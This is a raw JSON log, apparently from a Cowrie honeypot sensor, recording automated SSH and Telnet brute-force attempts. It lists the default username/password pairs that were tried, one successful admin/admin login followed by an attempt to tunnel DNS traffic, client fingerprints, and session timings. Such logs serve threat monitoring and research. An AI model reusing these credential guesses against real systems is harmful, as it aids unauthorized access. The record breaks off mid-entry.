{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:26.711515Z","src_ip":"95.38.165.118","session":"0da07561ce51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:27.878836Z","src_ip":"95.38.165.118","session":"0da07561ce51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50188,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52d45b5676f","protocol":"ssh","message":"New connection: 95.38.165.118:50188 (10.17.0.5:22) [session: d52d45b5676f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.037640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.042753Z","src_ip":"95.38.165.118","session":"d52d45b5676f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62430,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd93d0dbdbc9","protocol":"ssh","message":"New connection: 87.251.64.176:62430 (10.17.0.5:22) [session: dd93d0dbdbc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.285929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.293091Z","src_ip":"87.251.64.176","session":"dd93d0dbdbc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.302490Z","src_ip":"95.38.165.118","session":"d52d45b5676f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.393134Z","src_ip":"87.251.64.176","session":"dd93d0dbdbc9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.690502Z","src_ip":"87.251.64.176","session":"dd93d0dbdbc9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.788253Z","session":"dd93d0dbdbc9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.886914Z","src_ip":"87.251.64.176","session":"dd93d0dbdbc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:30.986812Z","src_ip":"87.251.64.176","session":"dd93d0dbdbc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:31.292030Z","src_ip":"95.38.165.118","session":"d52d45b5676f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55336,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce905a2f19e","protocol":"telnet","message":"New connection: 69.4.83.194:55336 (159.203.135.109:23) [session: 2ce905a2f19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:31.315695Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:32.461496Z","src_ip":"95.38.165.118","session":"d52d45b5676f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50200,"dst_ip":"10.17.0.5","dst_port":22,"session":"20817b337f9f","protocol":"ssh","message":"New connection: 95.38.165.118:50200 (10.17.0.5:22) [session: 20817b337f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:35.352051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:35.843528Z","src_ip":"95.38.165.118","session":"20817b337f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:35.849528Z","src_ip":"95.38.165.118","session":"20817b337f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:36.740916Z","src_ip":"95.38.165.118","session":"20817b337f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:37.912037Z","src_ip":"95.38.165.118","session":"20817b337f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":55018,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d4e3ac4bcbb","protocol":"ssh","message":"New connection: 43.245.97.82:55018 (159.203.135.109:22) [session: 8d4e3ac4bcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:38.409743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:38.415066Z","src_ip":"43.245.97.82","session":"8d4e3ac4bcbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:38.660816Z","src_ip":"43.245.97.82","session":"8d4e3ac4bcbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:39.675472Z","src_ip":"43.245.97.82","session":"8d4e3ac4bcbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:40.923757Z","src_ip":"43.245.97.82","session":"8d4e3ac4bcbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00153422355652,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:40.957217Z","src_ip":"178.128.93.180","session":"b15837f4dee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50232,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cbe3ba1a173","protocol":"ssh","message":"New connection: 95.38.165.118:50232 (10.17.0.5:22) [session: 3cbe3ba1a173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:41.853929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:41.859742Z","src_ip":"95.38.165.118","session":"3cbe3ba1a173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:42.024061Z","src_ip":"95.38.165.118","session":"3cbe3ba1a173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":36722,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1c3256699da","protocol":"ssh","message":"New connection: 46.19.67.181:36722 (159.203.135.109:22) [session: f1c3256699da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:42.799792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:42.805287Z","src_ip":"46.19.67.181","session":"f1c3256699da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:42.918212Z","src_ip":"46.19.67.181","session":"f1c3256699da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtnq","message":"login attempt [root/ghbdtnq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:43.256738Z","src_ip":"46.19.67.181","session":"f1c3256699da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:44.372825Z","src_ip":"46.19.67.181","session":"f1c3256699da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:44.758528Z","src_ip":"95.38.165.118","session":"3cbe3ba1a173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37870,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0c7a0e2d627","protocol":"ssh","message":"New connection: 95.38.165.118:37870 (10.17.0.5:22) [session: b0c7a0e2d627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:46.078104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:46.084033Z","src_ip":"95.38.165.118","session":"b0c7a0e2d627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:46.337330Z","src_ip":"95.38.165.118","session":"3cbe3ba1a173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:46.476018Z","src_ip":"95.38.165.118","session":"b0c7a0e2d627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:47.863082Z","src_ip":"95.38.165.118","session":"b0c7a0e2d627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:50.918671Z","src_ip":"95.38.165.118","session":"b0c7a0e2d627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.78754901885986,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:51.885649Z","src_ip":"69.4.83.194","session":"9c546cd5af12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37876,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea45639b36ff","protocol":"ssh","message":"New connection: 95.38.165.118:37876 (10.17.0.5:22) [session: ea45639b36ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:52.099360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:52.112517Z","src_ip":"95.38.165.118","session":"ea45639b36ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":[